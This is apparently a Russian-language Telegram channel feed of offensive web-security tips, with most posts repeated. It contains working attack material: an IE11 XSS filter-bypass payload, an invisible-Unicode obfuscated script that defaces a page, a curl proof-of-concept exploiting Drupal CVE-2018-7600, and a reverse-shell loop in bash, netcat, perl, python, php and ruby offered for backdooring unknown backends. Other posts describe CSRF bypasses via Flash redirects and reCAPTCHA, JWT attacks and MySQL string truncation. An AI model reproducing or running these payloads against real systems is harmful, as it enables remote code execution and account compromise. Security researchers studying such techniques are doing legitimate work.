Раз уж автор прошлого поста поднял речь про Internet Explorer, то я хотел бы и от себя рассказать одну интересную вещь (баян).
Существует такой малоизвестны тег
Создание XML документа с таким тегом при предварительном просмотре выдает ошибки синтаксиса документа.
Но мы данный тег можем использовать для обхода XSS фильтров. Используя небольшую магию префикса
Работает для последнего 11 Internet Explorer.
Стоящий вектор для добавления его в свои словарики по багбаунти.
Для тех, кто знает японский и умеет в гугл переводчик, может ознакомиться со статьей в оригинале: https://masatokinugawa.l0.cm/2017/05/xss13.html
Существует такой малоизвестны тег
<?PXML>
. Функциональное предназначение такого тега остается мало понятным. Создание XML документа с таким тегом при предварительном просмотре выдает ошибки синтаксиса документа.
Но мы данный тег можем использовать для обхода XSS фильтров. Используя небольшую магию префикса
html:
, PXML будет распознаваться как HTML-тег.<?PXML><html:script>alert(1)</html:script>
Работает для последнего 11 Internet Explorer.
Стоящий вектор для добавления его в свои словарики по багбаунти.
Для тех, кто знает японский и умеет в гугл переводчик, может ознакомиться со статьей в оригинале: https://masatokinugawa.l0.cm/2017/05/xss13.html
Javascript, который мы заслужили:
setTimeout(unescape(escape('󠅡󠅬󠅥󠅲󠅴󠄨󠄧󠅏󠅯󠅰󠅳󠄧󠄩󠄻󠅤󠄽󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄬󠄨󠅤󠄮󠅢󠅯󠅤󠅹󠅼󠅼󠅤󠄮󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠅅󠅬󠅥󠅭󠅥󠅮󠅴󠄩󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠅈󠅡󠅣󠅫󠅥󠅤󠄧').replace(/u.{8}/g,'')))
Кавычка
Javascript, который мы заслужили: setTimeout(unescape(escape('󠅡󠅬󠅥󠅲󠅴󠄨󠄧󠅏󠅯󠅰󠅳󠄧󠄩󠄻󠅤󠄽󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄬󠄨󠅤󠄮󠅢󠅯󠅤󠅹󠅼󠅼󠅤󠄮󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠅅󠅬󠅥󠅭󠅥󠅮󠅴󠄩󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠅈󠅡󠅣󠅫󠅥󠅤󠄧').replace(/u.{8}/g,'')))
Забавно, правда? О том, как это работает:
https://www.stefanjudis.com/blog/hidden-messages-in-javascript-property-names/
https://www.stefanjudis.com/blog/hidden-messages-in-javascript-property-names/
Возможно, ты уже знаешь, что открытая ссылка может изменить ту страницу, с которой ее открыли (переопределить window.opener), если target ссылки был "_blank":
https://habrahabr.ru/post/164539/
Это работает и в обратную сторону. Для примера:
https://bo0om.ru/google.html
Если дать пользователю ссылку - ее в любой момент можно изменить (уже после открытия).
https://habrahabr.ru/post/164539/
Это работает и в обратную сторону. Для примера:
https://bo0om.ru/google.html
Если дать пользователю ссылку - ее в любой момент можно изменить (уже после открытия).
А вот и эксплойт на CVE-2018-7600 подъехал.
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600/
#drupalgeddon2 #Drupal
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600/
#drupalgeddon2 #Drupal
Check Point Research
Uncovering Drupalgeddon 2 - Check Point Research
Research By: Eyal Shalev, Rotem Reiss and Eran Vaknin Abstract Two weeks ago, a highly critical (25/25 NIST rank) vulnerability, nicknamed Drupalgeddon 2 (SA-CORE-2018-002 / CVE-2018-7600), was disclosed by the Drupal security team. This vulnerability allowed…
Кавычка
А вот и эксплойт на CVE-2018-7600 подъехал. https://research.checkpoint.com/uncovering-drupalgeddon-2/ https://github.com/a2u/CVE-2018-7600/ #drupalgeddon2 #Drupal
curl -X POST --data \
'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=phpinfo()' \
'https://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
По поводу публичных телеграм проксей. В разных статьях предлагают поставить прокси сервер dante и включить вход по юзерам ОС. И следующей строчкой добавляют юзера, но (!) не отрубают ему доступ по SSH и всем раскидывают ссылки на свою проксю с логином и паролем. Итого - берем юзер:пароль, адрес прокси и логинимся по SSH. Небольшим вкладом в безопасность было это исправить в данной инструкции - https://krasovsky.me/it/2017/07/socks5-dante/, которой уже почти 10 месяцев.
На случай важных переговоров:
Заменяешь IP на свой и слушаешь порт 1337. На случай, когда не знаешь что на бэкэнде, а бэкшелл хочется :)
while true;do bash -i >& /dev/tcp/IP/1337 0>&1;nc -e /bin/sh IP 1337;perl -e 'use Socket;$i="IP";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';php -r '$sock=fsockopen("IP",1337);exec("/bin/sh -i <&3 >&3 2>&3");';ruby -rsocket -e'f=TCPSocket.open("IP",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)';sleep 5;done
Заменяешь IP на свой и слушаешь порт 1337. На случай, когда не знаешь что на бэкэнде, а бэкшелл хочется :)
🔥1
Обходим экзотичную CSRF защиту
Сперва ликбез. Засабмитить форму POST-запросом можно со следующими mime type:
a)
b)
param1=a¶m2=b
c)
Но нам недоступен типа
Иногда на этом построена CSRF защита, но Flash может это обойти. А поможет нам в этом вот этот прекрасный PoC: https://github.com/sp1d3r/swf_json_csrf
Если коротко, вот в чем соль:
1) Мы размещаем на собственном ресурсе особый SWF и PHP скрипт отдающий 307 редирект. Особенность редиректа 307 в том, что он, в отличие от прочих, при редиректе перенаправляет отправленные данные, а не просто перенаправляет пользователя на другую страницу.
2) Наша флешка шлет PHP скрипту POST с нужным json телом (ведь все в рамках одного ориджина, а значит CORS нас не заблокирует)
3) Скрипт отдает 307 редирект и перенаправляет на victim-site
4) Наша флешка следует по редиректу
->
Cookies подставляются, Content-type сохраняется
->
PWNED!
Подробнее об этом:
https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/
Сперва ликбез. Засабмитить форму POST-запросом можно со следующими mime type:
a)
text/plain
b)
application/x-www-form-urlencoded
:param1=a¶m2=b
c)
multipart/form-data
:---------------------------974767299852498929531610575
Content-Disposition: form-data; name="param1"
aaa
---------------------------974767299852498929531610575
Content-Disposition: form-data; name="param2"
bbb
Но нам недоступен типа
application/json
. Браузер заблокирует отправку с таким контент-тайпом, если отсутствуют разрешающие CORS хидеры (а это совсем другая история). Иногда на этом построена CSRF защита, но Flash может это обойти. А поможет нам в этом вот этот прекрасный PoC: https://github.com/sp1d3r/swf_json_csrf
Если коротко, вот в чем соль:
1) Мы размещаем на собственном ресурсе особый SWF и PHP скрипт отдающий 307 редирект. Особенность редиректа 307 в том, что он, в отличие от прочих, при редиректе перенаправляет отправленные данные, а не просто перенаправляет пользователя на другую страницу.
2) Наша флешка шлет PHP скрипту POST с нужным json телом (ведь все в рамках одного ориджина, а значит CORS нас не заблокирует)
3) Скрипт отдает 307 редирект и перенаправляет на victim-site
4) Наша флешка следует по редиректу
->
Cookies подставляются, Content-type сохраняется
application/json
->
PWNED!
Подробнее об этом:
https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/
Знаете ли вы, что reCAPTCHA (та самая капча от Google) дает возможность выполнять CSRF-атаки?
CSRF-токен — ключ выданный пользователю для предотвращения межсайтовой подделки запросов. Мы тебе дали секретное слово - хочешь отправить данные на сайт, повтори его.
А reCAPTCHA устроена так, что она имеет один и тот же идентификатор сайта (data-sitekey в теле страницы) с помощью которых формируется запрос на сервера Google для подтверждения, что ты есть человек. Если проверка прошла - тебе дают одноразовый ключ для подтверждения твоего запроса.
Но дело в том, что можно разгадывать капчу вообще не заходя на сайт и подсовывать правильно разгаданный параметр перед передачей атакующей ссылки жертве. Разгаданный идентификатор не имеет привязки ни к браузеру, ни к IP адресу пользователя (так как это опциональный параметр), он решает единственную задачу - уменьшить вероятность автоматизации с помощью ботов.
Хотя, судя по активному развитию нейросетей, не факт, что в скором будущем и это поможет.
CSRF-токен — ключ выданный пользователю для предотвращения межсайтовой подделки запросов. Мы тебе дали секретное слово - хочешь отправить данные на сайт, повтори его.
А reCAPTCHA устроена так, что она имеет один и тот же идентификатор сайта (data-sitekey в теле страницы) с помощью которых формируется запрос на сервера Google для подтверждения, что ты есть человек. Если проверка прошла - тебе дают одноразовый ключ для подтверждения твоего запроса.
Но дело в том, что можно разгадывать капчу вообще не заходя на сайт и подсовывать правильно разгаданный параметр перед передачей атакующей ссылки жертве. Разгаданный идентификатор не имеет привязки ни к браузеру, ни к IP адресу пользователя (так как это опциональный параметр), он решает единственную задачу - уменьшить вероятность автоматизации с помощью ботов.
Хотя, судя по активному развитию нейросетей, не факт, что в скором будущем и это поможет.
Годный доклад на OWASP AppSecEU 2018, от Frans Rosén'а
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=15
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=15
Speaker Deck
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
In this talk, top ranked white-hat hacker Frans Rosén (@fransrosen) will focus on methodologies and results of attacking modern web technologies. He wil…
При внедрении собственных шаблонов в серверные шаблонизаторы (уязвимость SSTI) — эксплуатацию можно автоматизировать с помощью утилиты tplmap. Она и шаблонизатор подберет, и удобный шелл откроет для выполнения произвольного кода. Еще и плагин к Burp Suite имеет.
https://github.com/epinna/tplmap
https://github.com/epinna/tplmap
GitHub
GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool
Server-Side Template Injection and Code Injection Detection and Exploitation Tool - epinna/tplmap
Если ты встречал странный base64 в параметрах веб-приложений, разбитый двумя точками - скорее всего это JSON Web Tokens.
Он состоит из заголовка, содержимого и подписи, считается одним из безопасных способов передачи информации, поддерживает различные алгоритмы подписи и вот это все. Правда не все реализации безопасны, то тип шифрования можно сменить на "None", то один алгоритм можно сменить на другой, где ключ заранее известен, а то и вовсе секретом будет являться какой-нибудь ChangeMe, где его, конечно же, не сменили. Но мир не без добрых людей, проверить корректность той или иной реализации и заодно перебрать секрет по словарю можно используя JWT Tool.
https://github.com/ticarpi/jwt_tool
#JWT
Он состоит из заголовка, содержимого и подписи, считается одним из безопасных способов передачи информации, поддерживает различные алгоритмы подписи и вот это все. Правда не все реализации безопасны, то тип шифрования можно сменить на "None", то один алгоритм можно сменить на другой, где ключ заранее известен, а то и вовсе секретом будет являться какой-нибудь ChangeMe, где его, конечно же, не сменили. Но мир не без добрых людей, проверить корректность той или иной реализации и заодно перебрать секрет по словарю можно используя JWT Tool.
https://github.com/ticarpi/jwt_tool
#JWT
Если у страницы не будет указан Content-Type (передаю привет старику HTTP/0.9) - браузер попытается сам определить содержимое. Тоже самое, если тип контента браузеру не будет знаком. Internet Explorer 8 (спи спокойно Windows XP), например, не признает application/json, поэтому HTML попавший в него также срендерится и XSS выполнится. В жизни этот браузер уже не встретить, но часто в BugBounty это принимают.
Для Chrome сниффинг HTML заработает, если первыми символами будет валидный HTML-тег. Например
Заголовок X-Content-Type-Options: nosniff в свою очередь отключает у браузера функциональность определения содержимого.
Для Chrome сниффинг HTML заработает, если первыми символами будет валидный HTML-тег. Например
{"xss":"<script>alert()</script>"}
— уже не пройдет.Заголовок X-Content-Type-Options: nosniff в свою очередь отключает у браузера функциональность определения содержимого.
Кавычка
Если у страницы не будет указан Content-Type (передаю привет старику HTTP/0.9) - браузер попытается сам определить содержимое. Тоже самое, если тип контента браузеру не будет знаком. Internet Explorer 8 (спи спокойно Windows XP), например, не признает application/json…
Отдельно про text/plain. Сниффинг содержимого text/plain замечен также у IE 8 если у файла не будет расширения. А с помощью ловкости рук можно заставить выполнить там XSS даже на более свежих версиях, если на ресурсе не запрещена загрузка в фрейме.
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
В современных браузерах мы можем отправить кросс-ориджин POST запрос без заголовка Content-Type. Это может быть полезно, если сайт для защиты от CSRF чекает Content-Type, но пропускает проверку, если этот заголовок отсутствует.
Всё что нужно - создать Blob без указанания CT и отправить его используя fetch или sendBeacon.
Поиграться можно тут https://xxx.dbggl.pw/send_no_ct.html
Всё что нужно - создать Blob без указанания CT и отправить его используя fetch или sendBeacon.
Поиграться можно тут https://xxx.dbggl.pw/send_no_ct.html
Не все йогурты одинаково полезны!
В некоторых случаях, такой символ как 💩 — может отрезать часть строки в MySQL (тот случай, когда какое-то говно — альтернатива нульбайту).
Причем выстрелить это может разными способами, например, как для обхода валидации строки а-ля
Еще и как выполнение произвольного кода через какое-то говно. Жуть!
В некоторых случаях, такой символ как 💩 — может отрезать часть строки в MySQL (тот случай, когда какое-то говно — альтернатива нульбайту).
Причем выстрелить это может разными способами, например, как для обхода валидации строки а-ля
https://evil.domain💩.whitelist.domain
, так и при эксплуатации XSS (в нем U+1D306, но суть та же).Еще и как выполнение произвольного кода через какое-то говно. Жуть!
Кавычка
В PHP-приложениях есть куча разных уязвимостей, техник эксплуатации и атак. Тему активно ковыряют лет 10 и вроде бы всё уже расковыряли, и постепенно многие техники сходят на нет. Но всё равно находятся неожиданные вещи в очевидных местах. Например, на HITCON…
Генератор "полезной" картинки для эксплоита бага на примере Wordpress + WooCommerce
https://rdot.org/forum/showpost.php?p=44060&postcount=66
https://rdot.org/forum/showpost.php?p=44060&postcount=66
Кто подавал данные на заведение CVE через https://iwantacve.org могут с удивлением обнаружить, что заявки помещаются в открытый Google Docs (несмотря на то, что там об этом написано). Причем можно посмотреть как на утвержденные уязвимости (прошедшие модерацию, им присвоили номер), так и на новые заявки.
Забавно получается, CVE еще нет (может и патча), а информация об уязвимости уже доступна ¯\_(ツ)_/¯
Забавно получается, CVE еще нет (может и патча), а информация об уязвимости уже доступна ¯\_(ツ)_/¯
Wikipedia
Common Vulnerabilities and Exposures
CVE (англ. Common Vulnerabilities and Exposures) — база данных общеизвестных уязвимостей информационной безопасности. Каждой уязвимости присваивается идентификационный номер вида CVE-год-номер, описание и ряд общедоступных ссылок с описанием.
Быстрый поиск по эксплойтам и полезным программам. Enjoy!
https://sploitus.com
https://sploitus.com
Sploitus
💀 Sploitus | Exploits & Tools Search Engine
Sploitus is a convenient central place for identifying the newest exploits and finding attacks that exploit known vulnerabilities. The search engine is also a good resource for finding security and vulnerability discovery tools.